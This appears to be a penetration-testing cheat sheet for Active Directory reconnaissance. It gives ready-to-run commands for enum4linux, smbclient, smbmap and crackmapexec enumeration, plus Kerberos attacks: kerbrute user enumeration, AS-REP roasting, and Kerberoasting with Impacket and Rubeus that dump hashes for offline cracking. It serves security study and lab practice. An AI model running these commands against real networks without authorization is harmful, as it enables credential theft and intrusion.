enum4linux#

What it is#

enum4linux is a Linux tool that wraps smbclient, rpcclient, net, and LDAP queries to enumerate Windows hosts and Active Directory over SMB/RPC. It’s designed to pull as much information as possible without credentials (anonymous/guest), and with creds if you have them.

When to use it#

• Right after you discover SMB (139/445) on a target.
• Early AD recon to quickly grab Domain/SID, users/groups, shares, and password policy.
• To validate anonymous vs authenticated exposure (what changes when you add creds).

Typical usage#

## Broad/automatic enumeration (anonymous)
enum4linux -a IP_domain
 
## With credentials
enum4linux -a -u USER -p 'PASS' IP_domain
 
## Focused modules (examples)
enum4linux -U IP_domain     # Users
enum4linux -G IP_domain     # Groups
enum4linux -S IP_domain     # Shares
enum4linux -P IP_domain     # Password policy
enum4linux -o IP_domain     # OS info (if accessible)

Structure / Modules (what -a runs)#

Workgroup/Domain: Attempts to resolve the NetBIOS workgroup/domain name. Nbtstat Info: NetBIOS names/status (often blocked on modern hosts). Session Check: Tests null/guest session. Domain SID: Extracts domain SID (useful for RID cycling). OS Information: Tries via srvinfo/RPC (often requires auth). Users: querydispinfo / enumdomusers (may be ACCESS_DENIED). Groups: Local/Builtin/Domain groups and memberships. Shares: Lists SMB shares (may downgrade to SMB1; modern hosts block this). Password Policy: Min length, lockout, complexity (if accessible). RID Cycling: Brute enumerates users by walking RIDs (often blocked).

What you might see (examples)#

Domain: PUPPY Domain SID: S-1-5-21-... Users/Groups: Lists or NT_STATUS_ACCESS_DENIED Shares: IPC$, NETLOGON, SYSVOL, custom shares (or none) Policy: Min password length, lockout threshold, max age OS Info: Windows version/build (if permitted) Interpreting results

Kerberos enumeration#

kerbrute#

Goal: Fast username enumeration against Kerberos in a domain.

## Enumerate users from a wordlist
kerbrute userenum -d anas.local --dc IP_domain users.txt

Output: valid usernames on the domain.

GetNPUsers.py (Impacket)#

Goal: AS-REP Roasting (accounts without pre-auth).

## Enumerate AS-REP vulnerable users
GetNPUsers.py anas.local/ -dc-ip IP_domain -usersfile users.txt -no-pass
 

Output: TGT hashes of users for offline cracking.

GetUserSPNs.py (Impacket)#

Goal: Kerberoasting (service accounts with SPN).

## Dump SPNs for Kerberoasting
GetUserSPNs.py -request -dc-ip IP_domain anas.local/ -usersfile users.txt
 

Output: service accounts tickets for offline password attacks.

Rubeus (Windows)#

Goal: Advanced Kerberos attacks (AS-REP, Kerberoast, ticket extraction).

## AS-REP roasting on Windows
Rubeus.exe asreproast /domain:anas.local /user:USERNAME
 
## Kerberoasting
Rubeus.exe kerberoast /outfile:hashes.txt

Output: hashes for offline cracking.

kinit / krb5-user (Linux)#

Goal: Manual TGT requests, password testing.

Request TGT for a user#

kinit USER@ANAS.LOCAL

Output: prompts for password or TGT granted if correct.

SMB enumeration#

smbclient#

Goal: Check available shares and optionally connect to them.

## List all shares anonymously
smbclient -L //10.10.11.70 -N
 
## Connect to a share (if found)
smbclient //10.10.11.70/SHARE -N
 
## If credentials are known
smbclient -L //10.10.11.70 -U USER%PASS

Output: shares like IPC$, NETLOGON, SYSVOL, or custom shares.

smbmap#

Goal: Map SMB shares and check permissions quickly.

## Anonymous scan
smbmap -H 10.10.11.70
 
## With credentials
smbmap -H 10.10.11.70 -u USER -p PASS
 
## List files in a share
smbmap -H 10.10.11.70 -u '' -p '' -r "SHARE_NAME"

Output: share names, read/write permissions, directory listing.

crackmapexec (CME)#

Goal: Advanced enumeration + quick checks.

## Enumerate SMB shares anonymously
crackmapexec smb 10.10.11.70 -u '' -p '' --shares
 
## Enumerate users (requires creds)
crackmapexec smb 10.10.11.70 -u USER -p PASS --users
 
## Check logged in sessions
crackmapexec smb 10.10.11.70 -u '' -p '' --sessions

Output: shares, access permissions, users, sessions, domain info.